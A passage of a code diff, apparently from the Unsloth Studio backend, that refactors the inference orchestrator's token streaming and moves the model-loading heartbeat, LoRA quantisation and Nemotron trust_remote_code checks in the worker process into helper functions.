+                    yield f"Error: {self._subprocess_crash_message(crash_context)}"
+                    return
+                continue
+
+            rtype = resp.get("type", "")
+            if rtype == "status":
+                continue
+            # Subprocess-level error (no request_id); request-scoped failures
+            # arrive as gen_error below.
+            if rtype == "error" and not resp.get("request_id"):
+                yield f"Error: {resp.get('error', 'Unknown error')}"
+                return
+
+            if rtype == "token":
+                # Cancel from route (e.g. SSE connection closed).
+                if cancel_event is not None and cancel_event.is_set():
+                    self._cancel_generation()
+                    drain_on_cancel()
+                    return
+                yield resp.get("text", "")
+            elif rtype == "gen_done":
+                if stats_holder is not None:
+                    stats_holder["stats"] = resp.get("stats")
+                return
+            elif rtype == "gen_error":
+                yield f"Error: {resp.get('error', 'Unknown error')}"
+                return
+
     # ------------------------------------------------------------------
     # Dispatcher — per-request mailbox routing for compare mode
     # ------------------------------------------------------------------
@@ -454,13 +551,12 @@ class InferenceOrchestrator:
                     continue
 
             # No matching mailbox (a _gen_lock reader or orphaned). Can't
-            # un-get from mp.Queue, so just log.
-            if rtype not in ("status",):
-                logger.debug(
-                    "Dispatcher: no mailbox for request_id=%s type=%s, dropping",
-                    rid,
-                    rtype,
-                )
+            # un-get from mp.Queue, so just log. (status was handled above.)
+            logger.debug(
+                "Dispatcher: no mailbox for request_id=%s type=%s, dropping",
+                rid,
+                rtype,
+            )
 
     def _generate_dispatched(
         self,
@@ -505,30 +601,23 @@ class InferenceOrchestrator:
         if image is not None:
             image_b64 = self._pil_to_base64(image)
 
-        cmd = {
-            "type": "generate",
-            "request_id": request_id,
-            "messages": messages or [],
-            "system_prompt": system_prompt,
-            "image_base64": image_b64,
-            "temperature": temperature,
-            "top_p": top_p,
-            "top_k": top_k,
-            "min_p": min_p,
-            "max_new_tokens": max_new_tokens,
-            "repetition_penalty": repetition_penalty,
-        }
-
-        if use_adapter is not None:
-            cmd["use_adapter"] = use_adapter
-        if tools is not None:
-            cmd["tools"] = tools
-        if enable_thinking is not None:
-            cmd["enable_thinking"] = enable_thinking
-        if reasoning_effort is not None:
-            cmd["reasoning_effort"] = reasoning_effort
-        if preserve_thinking is not None:
-            cmd["preserve_thinking"] = preserve_thinking
+        cmd = self._build_generate_cmd(
+            request_id,
+            image_b64,
+            messages = messages,
+            system_prompt = system_prompt,
+            temperature = temperature,
+            top_p = top_p,
+            top_k = top_k,
+            min_p = min_p,
+            max_new_tokens = max_new_tokens,
+            repetition_penalty = repetition_penalty,
+            use_adapter = use_adapter,
+            tools = tools,
+            enable_thinking = enable_thinking,
+            reasoning_effort = reasoning_effort,
+            preserve_thinking = preserve_thinking,
+        )
 
         # Create mailbox BEFORE sending command
         mailbox: queue.Queue = queue.Queue()
@@ -543,36 +632,22 @@ class InferenceOrchestrator:
             yield f"Error: {exc}"
             return
 
-        # Read tokens from our private mailbox
+        def read_mailbox(timeout):
+            try:
+                return mailbox.get(timeout = timeout)
+            except queue.Empty:
+                return None
+
+        # Read tokens from our private mailbox (the dispatcher owns resp_queue).
         try:
-            while True:
-                try:
-                    resp = mailbox.get(timeout = _DISPATCH_READ_TIMEOUT)
-                except queue.Empty:
-                    # Timeout — check subprocess health
-                    if not self._ensure_subprocess_alive():
-                        yield f"Error: {self._subprocess_crash_message('generation')}"
-                        return
-                    continue
-
-                rtype = resp.get("type", "")
-
-                if rtype == "token":
-                    # Cancel from route (e.g. SSE connection closed)
-                    if cancel_event is not None and cancel_event.is_set():
-                        self._cancel_generation()
-                        self._drain_mailbox(mailbox, timeout = 5.0)
-                        return
-                    yield resp.get("text", "")
-
-                elif rtype == "gen_done":
-                    if stats_holder is not None:
-                        stats_holder["stats"] = resp.get("stats")
-                    return
-
-                elif rtype == "gen_error":
-                    yield f"Error: {resp.get('error', 'Unknown error')}"
-                    return
+            yield from self._consume_token_stream(
+                read_mailbox,
+                lambda: self._drain_mailbox(mailbox, timeout = 5.0),
+                crash_context = "generation",
+                cancel_event = cancel_event,
+                stats_holder = stats_holder,
+                read_timeout = _DISPATCH_READ_TIMEOUT,
+            )
         finally:
             with self._mailbox_lock:
                 self._mailboxes.pop(request_id, None)
@@ -721,7 +796,6 @@ class InferenceOrchestrator:
                     )
 
                 if resp.get("success"):
-                    self._current_transformers_major = needed_major
                     model_info = resp.get("model_info", {})
                     self.active_model_name = model_info.get("identifier", model_name)
                     self.models[self.active_model_name] = {
@@ -990,127 +1064,42 @@ class InferenceOrchestrator:
         self._wait_dispatcher_idle()
 
         # Serialize generation: two concurrent readers on resp_queue would
-        # consume and drop each other's token events.
+        # consume and drop each other's token events. Hold _gen_lock across the
+        # cmd build + send + whole stream so we stay the sole resp_queue reader.
         with self._gen_lock:
-            yield from self._generate_locked(
+            request_id = str(uuid.uuid4())
+            image_b64 = self._pil_to_base64(image) if image is not None else None
+            cmd = self._build_generate_cmd(
+                request_id,
+                image_b64,
                 messages = messages,
                 system_prompt = system_prompt,
-                image = image,
                 temperature = temperature,
                 top_p = top_p,
                 top_k = top_k,
                 min_p = min_p,
                 max_new_tokens = max_new_tokens,
                 repetition_penalty = repetition_penalty,
-                cancel_event = cancel_event,
                 use_adapter = use_adapter,
                 tools = tools,
                 enable_thinking = enable_thinking,
                 reasoning_effort = reasoning_effort,
                 preserve_thinking = preserve_thinking,
-                stats_holder = stats_holder,
             )
 
-    def _generate_locked(
-        self,
-        messages: list = None,
-        system_prompt: str = "",
-        image = None,
-        temperature: float = 0.7,
-        top_p: float = 0.9,
-        top_k: int = 40,
-        min_p: float = 0.0,
-        max_new_tokens: int = 256,
-        repetition_penalty: float = 1.0,
-        cancel_event = None,
-        use_adapter = None,
-        tools: Optional[list] = None,
-        enable_thinking: Optional[bool] = None,
-        reasoning_effort: Optional[str] = None,
-        preserve_thinking: Optional[bool] = None,
-        stats_holder: Optional[dict] = None,
-    ) -> Generator[str, None, None]:
-        """Actual generation logic — must be called under _gen_lock."""
-        request_id = str(uuid.uuid4())
-
-        # Convert PIL Image to base64 if needed
-        image_b64 = None
-        if image is not None:
-            image_b64 = self._pil_to_base64(image)
-
-        cmd = {
-            "type": "generate",
-            "request_id": request_id,
-            "messages": messages or [],
-            "system_prompt": system_prompt,
-            "image_base64": image_b64,
-            "temperature": temperature,
-            "top_p": top_p,
-            "top_k": top_k,
-            "min_p": min_p,
-            "max_new_tokens": max_new_tokens,
-            "repetition_penalty": repetition_penalty,
-        }
-
-        if use_adapter is not None:
-            cmd["use_adapter"] = use_adapter
-        # Only forward template kwargs the caller set, for older worker compat.
-        if tools is not None:
-            cmd["tools"] = tools
-        if enable_thinking is not None:
-            cmd["enable_thinking"] = enable_thinking
-        if reasoning_effort is not None:
-            cmd["reasoning_effort"] = reasoning_effort
-        if preserve_thinking is not None:
-            cmd["preserve_thinking"] = preserve_thinking
-
-        try:
-            self._send_cmd(cmd)
-        except RuntimeError as exc:
-            yield f"Error: {exc}"
-            return
-
-        # We are the only resp_queue reader (under _gen_lock).
-        while True:
-            resp = self._read_resp(timeout = 30.0)
-
-            if resp is None:
-                # Check subprocess health
-                if not self._ensure_subprocess_alive():
-                    yield f"Error: {self._subprocess_crash_message('generation')}"
-                    return
-                continue
-
-            rtype = resp.get("type", "")
-
-            # Status messages — skip
-            if rtype == "status":
-                continue
-
-            # Error without request_id = subprocess-level error
-            resp_rid = resp.get("request_id")
-            if rtype == "error" and not resp_rid:
-                yield f"Error: {resp.get('error', 'Unknown error')}"
+            try:
+                self._send_cmd(cmd)
+            except RuntimeError as exc:
+                yield f"Error: {exc}"
                 return
 
-            if rtype == "token":
-                # Cancel from route (e.g. SSE connection closed)
-                if cancel_event is not None and cancel_event.is_set():
-                    self._cancel_generation()
-                    # Wait for the cancel ack so stale events don't leak into
-                    # the next request.
-                    self._drain_until_gen_done(timeout = 5.0)
-                    return
-                yield resp.get("text", "")
-
-            elif rtype == "gen_done":
-                if stats_holder is not None:
-                    stats_holder["stats"] = resp.get("stats")
-                return
-
-            elif rtype == "gen_error":
-                yield f"Error: {resp.get('error', 'Unknown error')}"
-                return
+            yield from self._consume_token_stream(
+                self._read_resp,
+                lambda: self._drain_until_gen_done(timeout = 5.0),
+                crash_context = "generation",
+                cancel_event = cancel_event,
+                stats_holder = stats_holder,
+            )
 
     def reset_generation_state(self):
         """Cancel any ongoing generation and reset state."""
@@ -1146,8 +1135,6 @@ class InferenceOrchestrator:
         if not self.active_model_name:
             raise RuntimeError("No active model")
 
-        import uuid
-
         request_id = str(uuid.uuid4())
 
         cmd = {
@@ -1260,8 +1247,6 @@ class InferenceOrchestrator:
             return
 
         with self._gen_lock:
-            import uuid
-
             request_id = str(uuid.uuid4())
 
             # numpy array -> list for mp.Queue serialization
@@ -1290,38 +1275,12 @@ class InferenceOrchestrator:
                 yield f"Error: {exc}"
                 return
 
-            # Yield tokens — same pattern as _generate_locked
-            while True:
-                resp = self._read_resp(timeout = 30.0)
-
-                if resp is None:
-                    if not self._ensure_subprocess_alive():
-                        yield ("Error: " + self._subprocess_crash_message("audio input generation"))
-                        return
-                    continue
-
-                rtype = resp.get("type", "")
-
-                if rtype == "status":
-                    continue
-
-                if rtype == "error" and not resp.get("request_id"):
-                    yield f"Error: {resp.get('error', 'Unknown error')}"
-                    return
-
-                if rtype == "token":
-                    if cancel_event is not None and cancel_event.is_set():
-                        self._cancel_generation()
-                        self._drain_until_gen_done(timeout = 5.0)
-                        return
-                    yield resp.get("text", "")
-
-                elif rtype == "gen_done":
-                    return
-
-                elif rtype == "gen_error":
-                    yield f"Error: {resp.get('error', 'Unknown error')}"
-                    return
+            yield from self._consume_token_stream(
+                self._read_resp,
+                lambda: self._drain_until_gen_done(timeout = 5.0),
+                crash_context = "audio input generation",
+                cancel_event = cancel_event,
+            )
 
     # ------------------------------------------------------------------
     # Local helpers (no subprocess needed)
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index f7435eebfb..44c0f5b3be 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -13,12 +13,10 @@ mp.Queue, and exits on shutdown or unload. Pattern follows core/training/worker.
 from __future__ import annotations
 
 import base64
-import structlog
 from loggers import get_logger
 import os
 import queue as _queue
 import sys
-import threading
 import time
 import traceback
 from io import BytesIO
@@ -28,13 +26,19 @@ from typing import Any
 logger = get_logger(__name__)
 from utils.hardware import apply_gpu_ids
 
+# studio/backend root, prepended to sys.path so the spawned subprocess can
+# import the utils/core packages.
+_BACKEND_PATH = str(Path(__file__).resolve().parent.parent.parent)
+
+
+def _ensure_backend_on_path() -> None:
+    if _BACKEND_PATH not in sys.path:
+        sys.path.insert(0, _BACKEND_PATH)
+
 
 def _activate_transformers_version(model_name: str) -> None:
     """Activate the correct transformers version BEFORE any ML imports."""
-    # Ensure backend is on path for utils imports.
-    backend_path = str(Path(__file__).resolve().parent.parent.parent)
-    if backend_path not in sys.path:
-        sys.path.insert(0, backend_path)
+    _ensure_backend_on_path()
 
     from utils.transformers_version import activate_transformers_for_subprocess
 
@@ -63,160 +67,97 @@ def _resize_image(img, max_size: int = 800):
 
 
 def _send_response(resp_queue: Any, response: dict) -> None:
-    """Send a response to the parent process."""
+    """Send a response to the parent process; stamps ``ts`` if absent."""
+    response.setdefault("ts", time.time())
     try:
         resp_queue.put(response)
     except (OSError, ValueError) as exc:
         logger.error("Failed to send response: %s", exc)
 
 
+def _clean_token(value: str | None) -> str | None:
+    """Normalize an HF token: blank or whitespace-only becomes None."""
+    return value if value and value.strip() else None
+
+
 def _build_model_config(config: dict):
     """Build a ModelConfig from the config dict."""
     from utils.models import ModelConfig
 
     model_name = config["model_name"]
-    hf_token = config.get("hf_token")
-    hf_token = hf_token if hf_token and hf_token.strip() else None
-    gguf_variant = config.get("gguf_variant")
-
     mc = ModelConfig.from_identifier(
         model_id = model_name,
-        hf_token = hf_token,
-        gguf_variant = gguf_variant,
+        hf_token = _clean_token(config.get("hf_token")),
+        gguf_variant = config.get("gguf_variant"),
     )
     if not mc:
         raise ValueError(f"Invalid model identifier: {model_name}")
     return mc
 
 
-def _get_hf_download_state(model_names: list[str] | None = None) -> tuple[int, bool] | None:
-    """Return (total_bytes, has_incomplete) for the HF Hub cache, or None on error.
+_NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
 
-    With *model_names*, only those models' ``blobs/`` dirs are checked (faster);
-    accepts multiple names so LoRA loads can watch adapter + base repos at once.
-    *has_incomplete* is True when any ``*.incomplete`` files exist (download
-    active). None means state could not be determined, so callers skip stall logic.
+
+def _needs_nemotron_trust(model_name: str, hf_token: str | None = None) -> bool:
+    """Whether *model_name* is a NemotronH/Nano model that needs trust_remote_code.
+
+    NemotronH/Nano have config-parsing bugs that require it. Must NOT match
+    Llama-Nemotron (standard Llama arch), so also require the unsloth/ or nvidia/
+    namespace, and a genuine first-party Hub repo (not a local path or a spoof
+    name starting with "unsloth/"). The repo check is authenticated so private
+    first-party repos still resolve, and runs only after the cheap checks pass.
     """
+    mn = model_name.lower()
+    if not (
+        any(sub in mn for sub in _NEMOTRON_TRUST_SUBSTRINGS)
+        and (mn.startswith("unsloth/") or mn.startswith("nvidia/"))
+    ):
+        return False
+
+    from utils.security.trusted_org import is_trusted_org_repo
+
+    return is_trusted_org_repo(model_name, hf_token = hf_token)
+
+
+def _resolve_lora_4bit(mc, load_in_4bit: bool) -> bool:
+    """Reconcile load_in_4bit with a LoRA adapter's recorded training method.
+
+    lora -> base is full precision (4bit off); qlora -> base is quantized (4bit
+    on); unknown method -> force off only when the base is not a -bnb-4bit repo.
+    A missing or unreadable adapter_config.json leaves the value unchanged.
+    """
+    if not (mc.is_lora and mc.path):
+        return load_in_4bit
+
+    adapter_cfg_path = Path(mc.path) / "adapter_config.json"
+    if not adapter_cfg_path.exists():
+        return load_in_4bit
+
+    import json
+
     try:
-        from huggingface_hub.constants import HF_HUB_CACHE
-
-        cache = Path(HF_HUB_CACHE)
-        if not cache.exists():
-            return (0, False)
-
-        total = 0
-        has_incomplete = False
-        blobs_dirs: list[Path] = []
-
-        if model_names:
-            from utils.paths import resolve_cached_repo_id_case
-            for name in model_names:
-                if not name:
-                    continue
-                # Skip local filesystem paths -- HF IDs (org/model) never start
-                # with / . ~ or contain backslashes.
-                if name.startswith(("/", ".", "~")) or "\\" in name:
-                    continue
-                name = resolve_cached_repo_id_case(name)
-                # HF cache dir format: models--org--name (slashes -> --).
-                cache_dir_name = "models--" + name.replace("/", "--")
-                blobs_dir = cache / cache_dir_name / "blobs"
-                if blobs_dir.exists():
-                    blobs_dirs.append(blobs_dir)
-        else:
-            blobs_dirs = list(cache.glob("models--*/blobs"))
-
-        for bdir in blobs_dirs:
-            for f in bdir.iterdir():
-                try:
-                    if f.is_file():
-                        total += f.stat().st_size
-                        if f.name.endswith(".incomplete"):
-                            has_incomplete = True
-                except OSError:
-                    pass
-
-        return (total, has_incomplete)
-    except Exception as e:
-        logger.debug("Failed to determine HF download state: %s", e)
-        return None
-
-
-def _start_heartbeat(
-    resp_queue: Any,
-    interval: float = 30.0,
-    stall_timeout: float = 180.0,
-    xet_disabled: bool = False,
-    model_names: list[str] | None = None,
-) -> threading.Event:
-    """Start a daemon thread that sends periodic status heartbeats.
-
-    A stall is reported only when ``*.incomplete`` files are present (download
-    active) AND cache size hasn't changed for *stall_timeout* seconds. When the
-    download finishes the timer resets, so post-download init (quantization, GPU
-    weight load) isn't misclassified as a stall. Returns a stop event.
-    """
-    stop = threading.Event()
-    transport = "https" if xet_disabled else "xet"
-
-    def _beat():
-        state = _get_hf_download_state(model_names)
-        last_size = state[0] if state is not None else 0
-        last_change = time.monotonic()
-
-        while not stop.wait(interval):
-            state = _get_hf_download_state(model_names)
-            now = time.monotonic()
-
-            # Skip stall logic if we cannot measure the cache.
-            if state is None:
-                _send_response(
-                    resp_queue,
-                    {
-                        "type": "status",
-                        "message": f"Loading model ({transport} transport)...",
-                        "ts": time.time(),
-                    },
-                )
-                continue
-
-            current_size, has_incomplete = state
-
-            if current_size != last_size:
-                last_size = current_size
-                last_change = now
-
-            # Only fire stall while .incomplete files confirm an active download;
-            # reset the timer otherwise so model init isn't counted as a stall.
-            if not has_incomplete:
-                last_change = now
-            elif now - last_change >= stall_timeout:
-                _send_response(
-                    resp_queue,
-                    {
-                        "type": "stall",
-                        "message": (
-                            f"Download appears stalled ({transport} transport) "
-                            f"-- no progress for {int(now - last_change)}s"
-                        ),
-                        "ts": time.time(),
-                    },
-                )
-                # fire once -- the orchestrator will kill us
-                return
-
-            _send_response(
-                resp_queue,
-                {
-                    "type": "status",
-                    "message": f"Loading model ({transport} transport)...",
-                    "ts": time.time(),
-                },
+        with open(adapter_cfg_path) as f:
+            adapter_cfg = json.load(f)
+        training_method = adapter_cfg.get("unsloth_training_method")
+        if training_method == "lora" and load_in_4bit:
+            logger.info("adapter_config.json says lora — setting load_in_4bit=False")
+            return False
+        if training_method == "qlora" and not load_in_4bit:
+            logger.info("adapter_config.json says qlora — setting load_in_4bit=True")
+            return True
+        if (
+            not training_method
+            and mc.base_model
+            and "-bnb-4bit" not in mc.base_model.lower()
+            and load_in_4bit
+        ):
+            logger.info(
+                "No training method, base model has no -bnb-4bit — setting load_in_4bit=False"
             )
-
-    t = threading.Thread(target = _beat, daemon = True)
-    t.start()
-    return stop
+            return False
+    except Exception as e:
+        logger.warning("Could not read adapter_config.json: %s", e)
+    return load_in_4bit
 
 
 def _handle_load(backend, config: dict, resp_queue: Any) -> None:
@@ -224,61 +165,15 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
     try:
         mc = _build_model_config(config)
 
-        hf_token = config.get("hf_token")
-        hf_token = hf_token if hf_token and hf_token.strip() else None
+        hf_token = _clean_token(config.get("hf_token"))
+        load_in_4bit = _resolve_lora_4bit(mc, config.get("load_in_4bit", True))
 
-        # Auto-detect quantization for LoRA adapters.
-        load_in_4bit = config.get("load_in_4bit", True)
-        if mc.is_lora and mc.path:
-            import json
-            from pathlib import Path
-
-            adapter_cfg_path = Path(mc.path) / "adapter_config.json"
-            if adapter_cfg_path.exists():
-                try:
-                    with open(adapter_cfg_path) as f:
-                        adapter_cfg = json.load(f)
-                    training_method = adapter_cfg.get("unsloth_training_method")
-                    if training_method == "lora" and load_in_4bit:
-                        logger.info("adapter_config.json says lora — setting load_in_4bit=False")
-                        load_in_4bit = False
-                    elif training_method == "qlora" and not load_in_4bit:
-                        logger.info("adapter_config.json says qlora — setting load_in_4bit=True")
-                        load_in_4bit = True
-                    elif not training_method:
-                        if (
-                            mc.base_model
-                            and "-bnb-4bit" not in mc.base_model.lower()
-                            and load_in_4bit
-                        ):
-                            logger.info(
-                                "No training method, base model has no -bnb-4bit — setting load_in_4bit=False"
-                            )
-                            load_in_4bit = False
-                except Exception as e:
-                    logger.warning("Could not read adapter_config.json: %s", e)
-
-        # Auto-enable trust_remote_code only for NemotronH/Nano (config parsing
-        # bugs require it). Must NOT match Llama-Nemotron (standard Llama arch).
-        from utils.security.trusted_org import is_trusted_org_repo
-
-        _NEMOTRON_TRUST_SUBSTRINGS = ("nemotron_h", "nemotron-h", "nemotron-3-nano")
         trust_remote_code = config.get("trust_remote_code", False)
-        if not trust_remote_code:
-            model_name = config["model_name"]
-            _mn_lower = model_name.lower()
-            if (
-                any(sub in _mn_lower for sub in _NEMOTRON_TRUST_SUBSTRINGS)
-                and (_mn_lower.startswith("unsloth/") or _mn_lower.startswith("nvidia/"))
-                # Genuine first-party Hub repo only (not a local/spoof name starting
-                # with "unsloth/"); authenticated so private repos resolve.
-                and is_trusted_org_repo(model_name, hf_token = hf_token)
-            ):
-                trust_remote_code = True
-                logger.info(
-                    "Auto-enabled trust_remote_code for Nemotron model: %s",
-                    model_name,
-                )
+        if not trust_remote_code and _needs_nemotron_trust(config["model_name"], hf_token = hf_token):
+            trust_remote_code = True
+            logger.info(
+                "Auto-enabled trust_remote_code for Nemotron model: %s", config["model_name"]
+            )
 
         # Malware gate: a poisoned pickle deserializes during from_pretrained even
         # with trust_remote_code False, so check HF's security scan (metadata-only)
@@ -301,7 +196,6 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
                         "message": _fs.reason,
                         "error_kind": "malware_blocked",
                         "security": _fs.response_payload(),
-                        "ts": time.time(),
                     },
                 )
                 return
@@ -334,25 +228,26 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
                         ),
                         "error_kind": "remote_code_blocked",
                         "remote_code": _rc.response_payload(),
-                        "ts": time.time(),
                     },
                 )
                 return
 
-        # Heartbeat every 30s so the orchestrator knows we're alive during slow loads.
-        xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1"
+        # Heartbeat keeps the orchestrator's inactivity deadline alive during slow
+        # loads; a no-progress Xet download is reported as a stall so the parent
+        # can respawn over HTTP. Watch model + base repos (base is the LoRA
+        # download bottleneck).
+        from utils.hf_xet_fallback import start_watchdog
 
-        # Watch model + base repos (base download is the LoRA bottleneck).
         watch_repos = [mc.identifier]
         base = getattr(mc, "base_model", None)
         if base and str(base) != mc.identifier:
             watch_repos.append(str(base))
 
-        heartbeat_stop = _start_heartbeat(
-            resp_queue,
-            interval = 30.0,
-            xet_disabled = xet_disabled,
-            model_names = watch_repos,
+        heartbeat_stop = start_watchdog(
+            repo_ids = watch_repos,
+            on_stall = lambda msg: _send_response(resp_queue, {"type": "stall", "message": msg}),
+            on_heartbeat = lambda msg: _send_response(resp_queue, {"type": "status", "message": msg}),
+            xet_disabled = os.environ.get("HF_HUB_DISABLE_XET") == "1",
         )
         try:
             success = backend.load_model(
@@ -367,7 +262,6 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
             heartbeat_stop.set()
 
         if success:
-            # Build model_info for the parent to mirror.
             model_info = {
                 "identifier": mc.identifier,
                 "display_name": mc.display_name,
@@ -380,13 +274,11 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
                 "audio_type": getattr(mc, "audio_type", None),
                 "has_audio_input": getattr(mc, "has_audio_input", False),
             }
+            _bm = getattr(backend, "models", {}) or {}
+            _entry = (
+                _bm.get(mc.identifier) or _bm.get(getattr(backend, "active_model_name", None)) or {}
+            )
             try:
-                _bm = getattr(backend, "models", {}) or {}
-                _entry = (
-                    _bm.get(mc.identifier)
-                    or _bm.get(getattr(backend, "active_model_name", None))
-                    or {}
-                )
                 _context_length = _entry.get("context_length")
                 if _context_length is not None:
                     model_info["context_length"] = int(_context_length)
@@ -394,12 +286,6 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
                 logger.warning("context_length forward failed: %s", _ctx_exc)
             # Forward chat_template_info so the parent can classify capabilities.
             try:
-                _bm = getattr(backend, "models", {}) or {}
-                _entry = (
-                    _bm.get(mc.identifier)
-                    or _bm.get(getattr(backend, "active_model_name", None))
-                    or {}
-                )
                 _tpl_info = _entry.get("chat_template_info")
                 if isinstance(_tpl_info, dict):
                     model_info["chat_template_info"] = {
@@ -417,7 +303,6 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
                     "type": "loaded",
                     "success": True,
                     "model_info": model_info,
-                    "ts": time.time(),
                 },
             )
         else:
@@ -427,7 +312,6 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
                     "type": "loaded",
                     "success": False,
                     "error": "Failed to load model",
-                    "ts": time.time(),
                 },
             )
 
@@ -439,7 +323,6 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
                 "success": False,
                 "error": str(exc),
                 "stack": traceback.format_exc(limit = 20),
-                "ts": time.time(),
             },
         )
 
@@ -505,7 +388,6 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
                     "type": "token",
                     "request_id": request_id,
                     "text": cumulative_text,
-                    "ts": time.time(),
                 },
             )
 
@@ -516,7 +398,6 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
                 "request_id": request_id,
                 # usage/timings from the MLX backend (None elsewhere).
                 "stats": getattr(backend, "last_generation_stats", None),
-                "ts": time.time(),
             },
         )
         logger.info("Finished text generation for request_id=%s", request_id)
@@ -530,7 +411,6 @@ def _handle_generate(backend, cmd: dict, resp_queue: Any, cancel_event) -> None:
                 "request_id": request_id,
                 "error": str(exc),
                 "stack": traceback.format_exc(limit = 20),
-                "ts": time.time(),
             },
         )
 
@@ -559,7 +439,6 @@ def _handle_generate_audio(backend, cmd: dict, resp_queue: Any) -> None:
                 "request_id": request_id,
                 "wav_base64": base64.b64encode(wav_bytes).decode("ascii"),
                 "sample_rate": sample_rate,
-                "ts": time.time(),
             },
         )
         logger.info("Finished audio generation for request_id=%s", request_id)
@@ -573,7 +452,6 @@ def _handle_generate_audio(backend, cmd: dict, resp_queue: Any) -> None:
                 "request_id": request_id,
                 "error": str(exc),
                 "stack": traceback.format_exc(limit = 20),
-                "ts": time.time(),
             },
         )
 
@@ -622,7 +500,6 @@ def _handle_generate_audio_input(backend, cmd: dict, resp_queue: Any, cancel_eve
                     "type": "token",
                     "request_id": request_id,
                     "text": text_chunk,
-                    "ts": time.time(),
                 },
             )
 
@@ -631,7 +508,6 @@ def _handle_generate_audio_input(backend, cmd: dict, resp_queue: Any, cancel_eve
             {
                 "type": "gen_done",
                 "request_id": request_id,
-                "ts": time.time(),
             },
         )
         logger.info("Finished audio input generation for request_id=%s", request_id)
@@ -645,7 +521,6 @@ def _handle_generate_audio_input(backend, cmd: dict, resp_queue: Any, cancel_eve
                 "request_id": request_id,
                 "error": str(exc),
                 "stack": traceback.format_exc(limit = 20),
-                "ts": time.time(),
             },
         )
 
@@ -664,7 +539,6 @@ def _handle_unload(backend, cmd: dict, resp_queue: Any) -> None:
             {
                 "type": "unloaded",
                 "model_name": model_name,
-                "ts": time.time(),
             },
         )
     except Exception as exc:
@@ -675,7 +549,6 @@ def _handle_unload(backend, cmd: dict, resp_queue: Any) -> None:
                 "type": "unloaded",
                 "model_name": model_name,
                 "error": str(exc),
-                "ts": time.time(),
             },
         )
 
@@ -712,9 +585,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
     model_name = config["model_name"]
 
     # ── 0. MLX fast-path — skip torch/transformers ──
-    backend_path = str(Path(__file__).resolve().parent.parent.parent)
-    if backend_path not in sys.path:
-        sys.path.insert(0, backend_path)
+    _ensure_backend_on_path()
 
     from utils.hardware import hardware as _hw
 
@@ -737,7 +608,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
             backend = MLXInferenceBackend()
             _send_response(
                 resp_queue,
-                {"type": "status", "message": "Loading model...", "ts": time.time()},
+                {"type": "status", "message": "Loading model..."},
             )
             _handle_load(backend, config, resp_queue)
         except Exception as exc:
@@ -747,7 +618,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                     "type": "error",
                     "error": f"MLX inference init failed: {exc}",
                     "stack": traceback.format_exc(limit = 20),
-                    "ts": time.time(),
                 },
             )
             return
@@ -779,7 +649,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 elif cmd_type == "reset":
                     cancel_event.set()
                     backend.reset_generation_state()
-                    _send_response(resp_queue, {"type": "reset_ack", "ts": time.time()})
+                    _send_response(resp_queue, {"type": "reset_ack"})
                 elif cmd_type == "status":
                     _send_response(
                         resp_queue,
@@ -791,7 +661,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                                 for k, v in backend.models.items()
                             },
                             "loading": list(backend.loading_models),
-                            "ts": time.time(),
                         },
                     )
                 elif cmd_type == "shutdown":
@@ -805,7 +674,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                         "request_id": cmd.get("request_id"),
                         "error": str(exc),
                         "stack": traceback.format_exc(limit = 20),
-                        "ts": time.time(),
                     },
                 )
         return
@@ -820,7 +688,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 "type": "error",
                 "error": f"Failed to activate transformers version: {exc}",
                 "stack": traceback.format_exc(limit = 20),
-                "ts": time.time(),
             },
         )
         return
@@ -844,13 +711,10 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
             {
                 "type": "status",
                 "message": "Importing Unsloth...",
-                "ts": time.time(),
             },
         )
 
-        backend_path = str(Path(__file__).resolve().parent.parent.parent)
-        if backend_path not in sys.path:
-            sys.path.insert(0, backend_path)
+        _ensure_backend_on_path()
 
         from core.inference.inference import InferenceBackend
 
@@ -865,7 +729,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 "type": "error",
                 "error": f"Failed to import ML libraries: {exc}",
                 "stack": traceback.format_exc(limit = 20),
-                "ts": time.time(),
             },
         )
         return
@@ -879,7 +742,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
             {
                 "type": "status",
                 "message": "Loading model...",
-                "ts": time.time(),
             },
         )
 
@@ -892,7 +754,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 "type": "error",
                 "error": f"Failed to initialize inference backend: {exc}",
                 "stack": traceback.format_exc(limit = 20),
-                "ts": time.time(),
             },
         )
         return
@@ -923,7 +784,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                 _handle_generate(backend, cmd, resp_queue, cancel_event)
 
             elif cmd_type == "load":
-                # Unload the current model before loading the new one.
                 if backend.active_model_name:
                     backend.unload_model(backend.active_model_name)
                 _handle_load(backend, cmd, resp_queue)
@@ -951,7 +811,6 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
                     resp_queue,
                     {
                         "type": "reset_ack",
-                        "ts": time.time(),
                     },
                 )
 
